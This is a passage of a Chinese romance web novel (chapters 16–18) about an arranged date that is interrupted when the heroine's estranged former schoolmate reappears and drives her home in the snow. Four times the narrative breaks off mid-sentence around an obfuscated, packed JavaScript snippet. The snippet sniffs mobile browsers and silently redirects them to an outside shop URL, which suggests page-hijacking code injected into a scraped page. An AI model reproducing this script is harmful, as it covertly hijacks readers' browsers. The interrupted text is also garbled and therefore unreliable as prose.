他说完立刻又自嘲,“我是事后诸葛亮,如果我在那个位置,也未必能做出更好的选择。” 这话又勾起陶涓这一两年间一直在纠结的问题,她有感而发,“想要每次都选对,真的太难了。” 可能只有极少数非常非常幸运的人才能每次都选对,而每次选择,到底有多少是自己主动选的?还是被时代和机遇推着选的? 茶座离窗口和大门更近,坐了一会儿陶涓感到凉意,不由握紧茶杯暖手,楚舰这时恰好说:“我们是不是要回去吃寿面了?” 两人并没一同回去。陶涓先到主桌溜了一圈再次跟林奶奶祝寿,这才慢悠悠回到自己座位,几个女郎正一脸倾慕看着楚舰,他原本正在说什么,见陶涓回来,仿佛有些不好意思似的停了一下,把话头抛给另一位男宾。 接下来陶涓继续乖乖等着上菜,好容易挨到吃寿面,还要等着上甜品。甜品自然是蛋糕。她平时挺喜欢吃黄桃水果蛋糕,这时一点胃口也没。 散席时陶涓和妹妹又站在宴会厅门口对宾客们假笑表示感谢。 林奶奶今天非常满意,挽着宋靖耘和亲戚们一一道别。 见到一对头发花白的夫妇,林奶奶专门跟陶涓介绍,“你楚师兄的爸爸妈妈,原本也是我们滨市人,前阵子才从连市退下来,可以享享清福了。” 陶涓只好露出八颗牙齿对人家礼貌微笑,同时接受人家礼貌的打量和评估。 从酒店离开已经下午四点,宋靖耘送陶涓回到家已是一脸疲惫。 陶涓给妈妈倒了杯菊花茶,她喝了几口,问女儿对楚舰印象如何。 陶涓老老实实说,挺好的,但是没感觉。 “嗯,没感觉……没感觉……”宋靖耘握着杯子念了两遍,忽然问:“从前送我们去机场的那个男孩子现在做什么呢?还在北市吗?” 陶涓一时发懵:“哪个男孩子?” 宋靖耘笑,“就是高高瘦瘦长得特别好看那个呀。” 陶涓是真想不起来谁送她们去过机场,还特别好看,“谁?周测?” 宋靖耘气笑了,“周测我能不记得吗?妈妈又没老糊涂。是那个比你小几届的,头发留挺长,但人看起来很斯文的……你大三那年春天,我去北市开会见到的,唉,我还真是老了,突然一下想不起来他名字了……” 陶涓一下梗住,隔了几秒说:“他啊,早不联系了。” 妈妈说的人,是顾清泽。 那一年三月宋靖耘来北市参加学术会议,陶涓原想这次把周测正式介绍给母亲,可就在母亲来北市一周前他们吵架了,为了什么?早忘了。 也许又是因为申悦明。她和周测青梅竹马,也上了医学院,并且从来不掩饰她对周测的好感,也可能她已经尽力掩饰了,但掩饰不住。 反正因为申悦明吵过好几次,但也可能是别的什么现在看来不值一提的小事,只记得两人是在十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197722|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食堂吃饭,排队的时候口角起来,她气得拂袖而去,饭也不吃就回宿舍。 她原以为周测当天晚上会主动找她道歉,可谁知道他们就这样冷战了几周,谁也不肯先低头。 妈妈在北市那一周,陶涓几次犹豫着要不要跟她说说周测的事。但她终、没说。她隐隐有种感觉,要是说了,妈妈一定会劝她立即和他分手。 她想再等等,等到周测来找她道歉了,她再原谅他,也许,还能让他见见妈妈。 可是,直到妈妈要返回滨市,周测还是没出现。 母亲临走那天,原本下午四点的飞机被推迟到晚上九点,陶涓要送妈妈去机场,妈妈担心她回到学校太晚了,从他们学校到机场有一条机场大巴专线,往返要三个多小时,她坚持要去,“车停在学校大门口,能有什么危险?” 她是想多和妈妈待一会儿。她们不在滨市,妈妈身边只有她,没有林溪也没有林爸。 可是去机场这一路上,她心里乱糟糟的,再一次产生疑问:她和周测这段感情,真的有未来吗? 后来回想起来,那时候自己内心深处已经明白周测不可能为她做任何改变或让步,可当时的她太贪心,太自信,总觉得两个相爱的人能克服世间一切困难,总觉得这份感情这么美好,怎么可能会如此短命。 陶涓出了会儿神,才听到妈妈在问她:“我看你们那时候挺要好啊,怎么不联系了呢?”这问的显然是顾清泽。 她随手从果盘里抓起个砂糖橘,捏在手里,却不剥皮,“你怎么看出来我和他要好了?不就是他也去机场送机,遇到了那就一起坐车回学校呗。” 宋靖耘笑了一声,“你那天也不知道在想什么,一直走神,那个男孩子跟我们上了同一辆大巴,自己坐在最前面,他去送谁?只是你到机场才看到他,我那时还以为……”她重新闭上眼睛,摆了摆手,“算了。” 对呀,算了。 她能跟周测分手,顾清泽为什么不能把她拉黑? 比起她的拖泥带水,顾清泽可果断多了,从那以后,再无交集。 陶涓剥开橘子,给妈妈分一半。 宋靖耘吃了一瓣,又好奇,“他现在干什么呢?” “不知道。大概回家继承家产了吧。”陶涓没有急着吃自己那半个橘子,仔细地撕掉橘瓣上的白色筋络。 现在的她当然可以批判那时的她恋爱脑、颜狗、拖泥带水、优柔寡断,色令智昏,整个一个大loser,可那时的她,是真的很努力很用心地在经营一段感情,她也很珍惜周测为她带来的快乐、期待、心跳…… 常常临睡前想不起来他们在一起都做了什么,可却记得很多无意义的小细节——夕阳穿过自习室的玻璃窗投在他身上,他睫毛尖端小小的虹点,那大概是全世界最小最小的彩虹——就是这些无意义的东西,让她在睡梦中都心花怒放。 但同时,这个男孩子习惯了骄傲,习惯了成为中心,习惯所有人都围绕着他。 她那时候确实将自己全部注意力都给了周测,只记得陪妈妈办好登机手续后发现顾清泽也在机场,还挺惊讶的。 妈妈进安检门后,她和顾清泽顺理成章一起坐大巴回学校。 这一路她心事重重,不怎么说话,顾清泽从来不是多话的性子,于是两人默契地沉默。 从机场回到学校已经快11点,宿舍马上要关门。 三月份的北市一到夜间仿佛又回到冬季,校园空旷,夜风吹起时可能还不到10度,走在路上能看到自己呼出的白气。 她和顾清泽并肩走着,一路上都没遇到行人,路灯和路灯之间距离很远,教学楼都熄灯了,白天热闹的校园此时只听得到他们的脚步声和水渠里的流水声。她只注意到他和她的影子一起投在路面上,先是投在他们身前,然后一点点变短,缩在脚下,又一点点变长。 终于看到宿舍楼的温暖灯光时,她又冷又累,但烦躁痛苦的心情终于得到了某种平静,她轻轻呼口气,刚要对顾清泽说声谢谢,突然听到周测的声音。 她转过头,看到周测靠在宿舍大门对面的一根灯柱下,一手斜插在口袋里,一手握着一束勿忘我。 他向她缓缓走过来,她跑过去,他紧紧抱住她,“原谅我吧!我们再也不要冷战了好不好?” 周测总是能在她做出重要的决定前出现。 于是她又原谅了他。 她不记得那天晚上顾清泽是什么时候离开的,就像她从未发现他陪着她上了同一班大巴。 16.搅局 这天晚上陶涓刚完成工作,曹艺萱就心有灵犀地发来语音通话问她今天的相亲局怎么样。这种局女明星是从来不参加的,有现成借口,得敬业。 陶涓瘫在沙发上吃着巧克力给她讲今天寿宴上遇到的达西先生。 “哇,达西先生?那可是霸总小说里的霸总鼻祖啊,你这么称呼他,人肯定不止有钱、家世好还长得帅吧?” “嗯。而且还没婚史,真正的黄金单身汉一枚。” “嘿嘿……”曹艺萱暧昧怪笑,“那你——” “一点火花也没。” 曹艺萱有不妙的预感,“你跟家长们也这么说的?” “差不多吧,我说印象挺好,但是没感觉。”陶涓还没意识到自己做错题了,她以为这个答案既能照顾到所有人的面子,也完成了相亲任务。 曹艺萱啧啧几声,“完了。印象挺好,但没感觉?哈,那让你们多处一处就有感觉了。” 陶涓吓得咯嘣一下咬断巧克力,“不能吧?” 这时林爸忽然在家庭群里@她几条消息,再来一次相亲吧!一对一,和楚舰。哦还有,他们已经把她微信名片推给他了,待会儿你们年轻人自己商量怎么见面。 林溪立刻发了个苦笑着喊加油的表情包。 她这个表情本意是“自求多福”,没想到林爷爷和林奶奶一看,也复制粘贴上。 林爸不甘落后,也赶紧跟上。 陶涓看着一溜哭着喊加油的表情,收到了楚舰的好友申请。 曹艺萱全程听她实况直播,笑得公鸡打鸣。 陶涓这次谨慎多了,和曹艺萱仔细商量了一番后,跟楚舰约定第二天下午三点半在滨江酒店的咖啡厅见面。速战速决,别拖着人家,春节时间宝贵,知道跟她没戏了晚上人家还能再安排一场相亲。 曹艺萱兴奋地建议,“明天中午我来你家,给你化个妆,鼓鼓气。” “化什么妆?鼓什么气啊?”陶涓没好气,“你直说想来看我笑话呗!” “哈哈哈!” 第二天中午曹艺萱就来了,倒真不是来看笑话的,认真给陶涓修了修眉毛。 陶涓意兴阑珊,“希望今天之后不用再相亲了。我真挺担心他们在假期结束前再安排几个。” 曹艺萱给她出主意,“嗐,这还不简单?就说你对楚舰印象很不错,暂时不想再见其他人。”她停下,认真说,“不过,你也放开心态,如果这人真不错,再处一处,如果他不讨人厌,喝完茶之后再去吃个饭看个电影,把相亲当成个真正的约会。” 她从来不信什么“一段恋情结束后要花恋情一半的时间才能走出来”这种鬼话的,不过,陶涓和周测分手后,看起来没什么太大反应,却从此对爱情再也不抱希望。 陶涓不做声。 不讨厌并不等于能培养出好感。 这东西大约也不需要刻意去培养。 化完妆,曹艺萱和陶涓自拍了几张照片发朋友圈:闺蜜要和达西先生要去滨江酒店相亲,我帮她画的眉毛美不美? 她拍陶涓时选的角度只能看到一点侧脸和额头,但是熟人一眼就能认出那是陶涓。她从小眉毛又浓又长,直飞鬓边,用刀片刮掉杂乱绒毛后就像工笔画中仕女。 这个动态发给谁看的? 当然是烂人周测! 前几天还跟她闺蜜深情表白,转身就去相亲,害得陶涓在家宴上那么尴尬。 陶涓要是知道曹艺萱这点小心思,就会告诉她:白忙活。周测从来不看朋友圈。 曹艺萱走后,陶涓上线工作,确认好今天的工作安排后,Rosy在工作群里问她:下午要出去应酬?大概几点去? 陶涓回复:三点以后。 Rosy又问:今晚八点后能上线吗? 陶涓犹豫一会儿回复:可能不行。 刚才舅妈打电话问她今晚能不能回去吃饭。表姐宋牧谣明天晚上的飞机,再见面恐怕又要一年了,她肯定要去大舅家。 乐城。 上午十一点多,章秀钟一帮人还在度假别墅里吃brunch,他再次拿起手机看了看,挑起眉诡异地笑,笑完,看看顾清泽,“哈,哈!” 顾清泽在他第一次这么笑的时候就生出一种不祥的预感,“你在……”他即将说出“幸灾乐祸”这几个字时心中打了个突,“到底怎么了?” 章秀钟把手机凑到他脸前,“你继续坐着吧,人家陶小姐可是要去跟Mr Darcy相亲了!” 顾清泽看到陶涓的照片和“相亲”的文字后一时不敢相信,他看了章秀钟一眼,想从这混蛋脸上找出证据——这是假的——可是章秀钟沉痛地点头,“真的。我刚才还跟Rosy确认了,陶小姐说,今晚她可能没法上线工作。” 他说着把手机拿回来,切出工作群的对话框,“呐,你看,我没骗你吧?嗯,三点多喝个咖啡,之后可以再看个电影,再吃个烛光晚餐,之后顺理成章共度良宵……我不知道你怎么约会,反正我是这样的。骏骏你呢?” 顾清泽没听见章秀钟的秘书于骏回答了什么,脑子里像有一列火车经过,轰轰作响,又像有一群蜜蜂嗡嗡乱撞。 章秀钟继续幸灾乐祸,“早就跟你说别管她是订婚了、分手了——哪怕是结婚了生了七个孩子了又怎么样?去见她!去找她!约她出来!送花给她!拥抱她强吻她——被她扇几耳光也好过你这个样子,跟自己不能见光似的躲在一边偷偷看一眼……啧啧啧,当小三都没你这么窝囊!哼哼,现在后悔了吧?你不去追,人家Mr Darcy去追!” 郑纶早就恨不得扑过去把章秀钟嘴捂上,他老板魂都快没了,您可闭嘴吧! 不过他也好奇:陶小姐不是有砂糖医生未婚夫吗?怎么又去和达西先生相亲了?达西先生又是谁啊?总不可能是科林叔。 正乱着呢,他老板突然夺过章秀钟的手机,在搜索什么。 “别找了,已经替你看过了,今天最后一班三点钟之前到达滨市的高铁十分钟后开,你赶不上的。乐城机场没有到滨市的航线,私人飞机倒是可以,可春节假期申请航线最少要五个小时,等你飞到人家早就一起……哈哈。” 章秀钟完全是看热闹不嫌事大的样子,看得郑纶都想扇他两巴掌,难为他老板顾清泽说话时还是那个平静的语气:“谢谢你告诉我。” 顾清泽把手机扔回给章秀钟起身就走。 郑纶拔腿追,走到门厅时才想起他老板连外套都没穿,赶快又去取外套,就这么一耽误,等他出门时,一辆车从别墅前的停车坪箭一样向着度假村出口驶去。 郑纶急得跺脚,急忙打电话给沈峤,“干嘛呢?赶快下来——出大事了!” 叫完沈峤,他立刻通知保镖和司机,赶快都出来,老板自己跑了! 章秀钟这时候慢悠悠走过来,看看停车坪,“哎唷,郑纶你们可快点追吧,他开走那辆是莲花EVIJA,这车我刚提的,最高时速能到320公里,不过呢,它是电动超跑,不知道到了零下二三十度的滨市还能不能跑,滨市可比乐城冷得多。” 郑纶早气得一佛升天二佛出世,语气反而冷静,“章先生,陶小姐在哪里约会?麻烦您把地址给我。” 章秀钟笑了,故意小声说:“你也觉得不是相亲是约会?” 郑纶:甘霖娘! 滨江酒店是滨市几座拥有上百年历史的老酒店之一,建筑风格和内部装潢是典雅的洛可可风格,陶涓走进大堂厅时有种错觉,好像回到她独自一人到达马焦雷湖那天,那时订的酒店也有类似的风格,当天有对新人在酒店的湖滨举办婚礼,从大堂通往湖滨是一道又一道用鲜花搭建的拱门,蝴蝶兰、玫瑰、牡丹、百合、常春藤……花繁叶茂,香气浓郁,就和此时一样。 只是她那天到达马焦雷湖是黄昏,而滨市冬季三四点就天黑了。 侍者解释:“今天有对新人办婚礼。” 她穿过长长的花廊走进咖啡厅,楚舰像是有所感应,忽然抬起头,咖啡桌上放着一盏复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204792|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 古小台灯,柔和的灯光,英俊的男子,仿佛一部旧电影。 他站起来,对她微笑,陶涓不由也一笑。 楚舰叫了格雷伯爵茶和玛德琳蛋糕,“昨天晚上问了滨市的朋友,说这家店的玛德琳蛋糕味道最好。” 这里的玛德琳蛋糕在黄油的甜香之外还有橙子的香味,一粒粒小贝壳一样摆在描金边的盘子里,桌上的台灯旁摆着一支四五寸高的小花瓶,插着一支小小奶油色玫瑰,对面的男子谈吐风趣。 恍惚间,陶涓觉得自己似乎是在约会。 楚舰和她聊起大学的事情,虽然两人在大学的时间并无重合,可在同一所大学度过青春时光,要找到共同话题并不难。 楚舰眼角含笑,“春秋两季十食堂后门那条路特别漂亮,两边都是高高的白桦树。” 陶涓心想,那些树是白杨树,不过,她没跟他辩论,“那的冰淇淋最好吃,虽然每次挖出的球都特别丑——我怀疑食堂用的挖勺有问题,不过味道和哈根达斯有一款有点像……” “朗姆酒葡萄干味的!”两人异口同声,楚舰笑意更浓,“午休时总有些情侣买了冰淇淋,就坐在台阶上吃……” 陶涓的记忆渐渐苏醒,“马路另一边是旱冰场,总有很多人练轮滑!” 楚舰也笑,“看人练轮滑可有意思了,我虽然不会,但是喜欢看人摔跤!” 他这话让陶涓大笑,笑着笑着,她忽然想起周测从来没有陪她坐在台阶上吃冰淇淋,医学院离十食堂太远了,他也不喜欢这种实在没有意义的消遣。 她的记忆渐渐清晰,那个陪她一起坐在台阶上吃着冰淇淋虚度时光的少年,是顾清泽。 暑假结束前院长和系辅导员都提醒她:别忘了那位小师弟,多带带人家。 她倒没有忘,不过,院长和辅导员提醒她时总有意无意暗示,顾家的人脉多难得呀,学校的新图书馆都是顾家捐的,你可要抱好大腿。 倒不是她故作清高,原本她是打算去找顾清泽的,只是被人这么提醒后难免感到莫名尴尬,几次想打电话联系他又放下手机了,一直拖到开学,没法再拖了,她才去找他。 小朋友头发比假期里更长了点,她想建议他要不要剪短点,但又觉得这么说太过没有边界感,于是看了几次忍住没说。 她带他办学籍卡,买书,请他去学校食堂吃饭,告诉他哪些食堂有哪些好吃的,还送给他一张她画的地图。 他如获至宝,认认真真在她做的新生地图上一一标记,像在做一份藏宝图。然后,他收起地图兴师问罪:“是不是院长叫你来的?要是他不叫你,你是不是就不来找我了?” 陶涓有点小小心虚,一时没法回答,他立即知道答案,气得放下笔,皱着眉心用目光谴责她。 她赶紧哄他,借口是胡诌的,跟他道歉却是诚心的,又巴结他,“原谅我吧,我请你吃冰淇淋!” 他几乎立刻就回心转意,但还是装出“我很生气”的样子,眉毛皱着,不过眼睛和嘴角都在微笑,和她一对视,连眉毛也没法再皱着了,可笑了一下又立刻生气了,像是在气自己怎么这么容易就被她贿赂。 那时候她还没发觉顾清泽喜怒无常的性子已经初见端倪,只觉得这小朋友太可爱了! 她带他骑自行车在校园里穿梭,到十食堂后门买了冰淇淋。 食堂的冰淇淋是装在纸杯里的,连蛋筒都没,可是真的很好吃。白桦树心形的叶子在初秋开始变黄,落叶在路上像铺了一层金色的心,阳光就从渐渐稀疏的树叶间投在这些金色的心上,午后的空气是一种让人感到安心的气味,坐在她身旁的少年忽然间又对她微微皱眉…… 陶涓突然想起昨天妈妈提起的顾清泽,那时在机场遇到他,他也是这副样子,微微皱着眉,盯着她,像是她做了什么必需要谴责的事情。 楚舰说了句话,她一时失神没能听清,正想怎么敷衍过去,忽然看见顾清泽穿过一重一重鲜花做的拱门,向她一步一步走过来。 顾清泽? 17.重逢 顾清泽…… 等等!顾清泽! 陶涓仰头看着走来的那个年轻男人,怀疑自己认错了人。顾清泽在她印象里还是个少年,也许这只是个长得像的路人? 她低下头,也许,是最近总是因为各种原因想起这个人,所以,她看错了? 她再次抬头,看着那个年轻男人。 他个子很高,花束拱门的各色花朵依次从他头上掠过,一枝蝴蝶兰擦过他鬓边,微微晃动。 一时间陶涓极度疑惑,自己是不是陪人喝下午茶时打起了盹,现在是在做梦?顾清泽怎么会在这里呢? 她睁大眼睛,看着他越走越近,又一次次问自己,是梦?是幻觉?梦是从什么时候开始的?会不会她在曹艺萱离开后躺在沙发上睡着了,根本没来滨江酒店赴约?所以酒店里的情景看起来才和马焦雷湖那么相似? 等他走得更近了,近到她看清他的五官,看到他从当年的少年变成了一个年轻男人,她反而更疑惑了:真的是顾清泽?不是她认错了人?他也认出她了?怎么会这么巧?他怎么会在这儿? 这时楚舰察觉陶涓神色有异,他回过头,惊喜道:“清泽——你怎么也在滨市?” 顾清泽跳到喉咙口的心脏忽忽悠悠下落,他勉强微笑:“楚师兄,我……我和秀钟来度假。” 他知道自己这时的样子一定非常古怪,所以她才会这样看着他,他有点后悔,怎么没想起整理一下仪容? 楚舰站起来和他握手:“一直没能当面恭喜你成为太平的合伙人!秀钟也在这儿?你们……住在这里?”他有些疑惑,向大堂方向看一眼,没看到章秀钟,或者任何其他人,然后,他看到陶涓用一种很奇异的眼神看着顾清泽。 “哦,你们两个应该也认识吧?”楚舰示意侍者添一张椅子,跟陶涓解释:“清泽在我们大学念了一年然后去了MIT……” 陶涓这时才确定,自己并没做梦,更没出现幻觉,顾清泽确确实实出现在这里,这一刻。 她听见楚舰的话,将目光从顾清泽脸上移开,轻轻点了点头,“嗯,好像见过几次,不怎么熟。” 这时侍者走过来问,“要换张大点的桌子吗?” 顾清泽抢着开口:“不用!” 侍者愣了愣,立即端来了一把椅子,有些为难地放在仅供两人落坐的小圆桌旁。 顾清泽拉开椅子坐下,觉得自己膝盖好像碰到了陶涓的裙角,突然间浑身出了一层热汗,好像之前三四个小时奔波焦急时该出的汗在这一瞬间全冒了出来,想也不想抓起蛋糕盘边上的餐巾擦了下鼻尖的汗,他知道这样极为失态,可是怎么办?不擦,等着汗珠落下来? 他皱起眉看向陶涓,她端起红茶喝了一小口,素净的脸上表情淡淡的,和他刚走进咖啡厅时看到的完全两样,那时候楚舰对她说了什么?让她有种像在做梦的笑容。 见过几次,不怎么熟…… 胸腔里好像有一只小麻雀在乱飞乱撞,他垂下眼眸,“我的学生卡还是你带我去办的。看来你是忘了。”说完他又立刻后悔了。最后一次见陶涓时她说,他到了北市之后跟她说话总是带点责怪的语气,她一不欠他的,二没领他家工资,凭什么呀?她早就受够了。 一想到这,他忍不住偷偷看她,没想到她把脸转到一边看着窗外,像是完全没听到他的话。 刚才在胸腔里乱扑腾的麻雀一下摔下来,在他胃里垂死挣扎,顾清泽脑子里有个声音说:你大老远跑来是为了什么?你为什么就不能跟她好好说话?你真是蠢死了。这声音依稀是章秀钟的。 再傻的人这时也能感到这两人之间气场奇特,何况楚舰又不傻,可他也是第一次应对这样的尴尬局面,一时无法圆转,打马虎眼道:“哦。那你们多久没见了?” “十年。”陶涓说。 顾清泽在心里说,是四年。 陶涓冷冷看顾清泽一眼,“哦,我可能说错了,几个月前你见过我吧?”呵呵。太平的新合伙人呀。 在太平面试的时候,那个加试,她还以为那位看不见的对手是另一位应征者或者Rosy,哈,还能是谁?当然是他。 她站起来,跟楚舰道歉:“不好意思,我刚想起来还有点事没处理得先回家,你们继续聊。” 楚舰明白今天这约会是被搅局了,“那……晚一点我再联系你?” “好!”陶涓拿起大衣就走。 大堂的自动门一开,寒气卷着雪花扑面而来,竟然又下起雪了。她打了个寒颤,雪花落在脸颊上,像小针扎到那样微微刺痛。 她退后几步,掏出手机叫车。 春节这段时间本来就难叫车,下雪了就更难,最近的司机也要二十分钟后才能到,可她一分钟都不想在这个地方多待。 她想起最后一次——不,现在应该说,上一次——上一次和顾清泽见面时她告诉他,她不能参加他计划的长距离无人机项目,因为她要去方舟实习。 他很惊讶:实习?为什么? 她也很惊讶:当然是为了工作呀。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210549|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他更惊讶了:工作?去哪儿工作?你没想过和我一起创业吗? 她坦白说:没有。 他突然间暴怒,说她目光短浅,上大学只是为了找一份能养活自己的工作,再找一个已经在北市有房产最好还是学区房的男朋友,然后人生就万事大吉!做这种选择的人不配得到他的尊重,他没想到她也是这种人! 他还说,她迟早要为自己的短视付出代价,他像是在预言,又像是在诅咒,如果有一天她中年失业,周测又跟她分手了,到时候可别后悔! 她那时气到极点,大声吼回去:我就是去讨饭也不敲你家门! 呵呵。 现实还真是给了她狠狠一巴掌。 她还真就讨到他门前了。 自动门又开了,陶涓迎着寒风走出去,沿着大街走了几步,狂风卷着鹅毛般的雪花砸过来,冷气夹着冰雪往鼻子里钻,一时连气都喘不上,她伸手在颈侧抓了一下才想起今天没穿羽绒服出来,羊毛大衣在寒风中一吹就透,雪花落在头上很快融化,更是寒意刺骨。 这时她听到顾清泽在叫她:“陶涓——” 她回过头,他开着一辆相当花俏的跑车,车窗降下来,“我送你回家。” 她不理会他,上车干什么?继续接受他的施舍和挽救,还是同情?哈,她面试那天,他一定很解气吧,当年的预言一一应验。 顾清泽跟着她,车开得很慢,“上车吧,好不好?现在很难叫到车……” 她一声不吭,继续向前走,他紧紧跟着,“你不想让我送你也行,你去个暖和的地方叫车,行不行?” 风好像小了点,她加快脚步,他依旧跟着,“陶涓……” 她猛地回头对他大喊:“别跟着我!” 顾清泽还没回应,一辆路过的车降下车窗,车里几个年轻人一起扒在车窗吹口哨起哄。 陶涓越发感到难堪,顾清泽的车在冰雪上打滑,落后了一点,路口的红灯刚好亮起,她加快脚步,打算左转把顾清泽甩掉,没想到他开着车追上,停车,跳出来,拦在她面前,“我知道你病了。”他喘了口气,“上车吧,好不好?你不能受冻。” 跟在后面的几辆车全都停下,有人按着喇叭,刚才吹口哨的几个人又打开车窗,土拨鼠一样探着脑袋看好戏。 陶涓心脏突突乱跳,突然间感到一阵丧气,她在跟谁置气呢?着凉了感冒了,病情反复,对她有什么好处? 她上了车,顾清泽调高暖风,小心翼翼看看她,“怎么走?” 18.我当时就后悔了 “……直行两百米后右转……” “前方路口左转……” 车里静静的,只有志玲姐姐的声音。 自从陶涓坐上车,没和他说一句话。 他问她怎么走,她直接开了手机导航。 顾清泽每隔一会儿就偷偷看她一眼。 这是他这十年间第一次这么靠近她,他觉得她比从前瘦了很多,下颌骨的轮廓比从前清晰,眼眶也更深,可是人又明明是同一个人,就连气味也和从前一模一样。她一直用一种类似苦橙气味的洗发水,从他第一次见到她时。 在路口右转时,他借这理由多看她几眼,她的头发夹在耳后,耳廓边缘有一颗棕褐色的小痣。也和从前一模一样。 这个发现让他无来由地忽然感到安心了些。 忽然,志玲姐姐说:“您已到达目的地。” 顾清泽这时明白了陶涓为什么租北市那套房子——她的家,也是类似风格的家属院。院门口挂着两米多高的铜牌,上面用黑字镌刻单位名字,院门里面有一个给保安的小屋子,红砖围墙上披着爬山虎的枯枝,盖上一层雪后像条没抖开的棉被,院子里隐约可见四五层楼高的树木。 她想打开车门,一时没找到按钮,语气依旧硬梆梆的,“我到了,谢谢你。” 顾清泽说:“我送你进去,还下着雪呢。” 陶涓还没说什么,保安已经升起车挡,她只好让他把车开到楼下。 她说:“开门吧。” 顾清泽突然急了,“等等!” 陶涓没好气,行吧,看你还要干什么。 她盯着挡风玻璃,他突然又不知道说什么了。 她在心里默数到十,转头细看车门上那些隐形按钮,找到车门开关按下,蝶翼形的车门向上开启,她钻出车子,走得很快,拉开单元门就要进去,顾清泽在她追出来,急惶惶喊道:“坚持要雇你的是李唯安!她认定你是最佳人选,她看了那天的攻防战……” “所以那天和我对打的确实是你。”陶涓转过身,忽然觉得顾清泽并没长大,他是看起来成熟了许多,头发剪短了,身形也比她印象中更高大,可他那种执拗得让她无法理解的倔强还是和从前一模一样。 “那你为什么躲着我?”她感到他无法理喻,“是想看我笑话?还是想选个时机跳出来吓我一跳——说,嘿嘿,看看你的幕后大老板是谁?你当年怎么说的来着?讨饭也不来找我?哈哈,现在呢?你这个大loser——是这么计划的吗?” 滨市的冬天下午四点半天已经黑透了,鹅毛般的雪片几乎是灰色的,飘飘悠悠落下,不停落在顾清泽头上肩上,他沉默着,一声不出,在路灯昏黄的光下像个剪影。 陶涓不想再跟他啰嗦,正想转身离去,二楼邻居家阳台的灯忽然亮起,投在顾清泽脸上,她这才看到他的耳朵早已冻得通红,眼睛也有些发红,他只穿了件藏蓝色的羊绒衫,落在胸口的雪花随着他的心跳剧烈起伏,不知道是否被她说中了心事,还是被气到了——这小少爷从前就总爱莫名其妙生气。 当然,也可能是冻的。 “我——我一直很后悔……”他声音有些发颤,“后悔那天跟你说的那些话。那些不是我的本意,我只是……”他忽然停住,沉默了一句话的时间,声音低了很多,“我不是躲着你,更不是想看你笑话,你可能不相信,我比别人都希望你能成功,我……我跟你说完那些话就后悔了,我只是……” 他又卡住了,陶涓等着,又等了几秒钟,他沉沉呼出口气,声音轻飘飘的,“我怕你,不原谅我。” 顾清泽静静等着,等着陶涓对他宣判。 楼上又有一家窗口亮起灯,隐约能听到不知哪位邻居家的电视在重播春晚。 她像是很意外,又有点不知所措,插在大衣口袋里的手很明显地动了动,低声说:“我原谅你。” 他抬起头,不敢相信她就这么原谅他。 陶涓也不敢相信。 顾清泽竟然会这样解释。 放完狠话当时就后悔了? 然后把她拉黑。 接着一声不响退学。 十年都没有再出现。 这是当时就后悔了? 她轻轻摇头,感到一阵无力和荒诞。 要是没有今天的偶遇,他打算什么时候出现?太平开年会的时候?还是她手里这个项目结束领最后一笔工资,到太平归还电脑和设备的时候? 她不想再陪他挨冻了,“好了,你快上车吧,假期结束我们北市再见。” 顾清泽心中的狂喜一下重新变为不安,陶涓当然并没真的原谅他。可他不知道接下来还能说什么,做什么。 她在门廊下对他挥挥手,“快点上车吧,待会儿耳朵冻了可不好玩。” 顾清泽的心又向下沉了几分,这种哄小孩的语气,哪里可能是真的原谅他。 可他也只得走到车前去拉车门。 然而—— 隐藏式车门把手冻住了,不管他怎么触碰毫无反应。 陶涓也呆住。 什么玩意儿? 这什么跑车?这么不靠谱的吗?中看不中用啊。 她看看站在超级跑车前冻得瑟瑟发抖的顾清泽,无奈说:“先到我家吧。把你身上雪掸一掸。”这么让他冻着跟见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214007|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死不救没区别。零下二三十度的气温,还下着雪,真不是闹着玩的,更何况这笨蛋连件大衣都没。 顾清泽跟在陶涓身后一层一层上楼梯时总觉得自己是在做梦。 这就是因祸得福吧?还是否极泰来? 每走一层,楼梯间的声控灯就会自动亮起,楼道越来越亮,和他的心情一样。 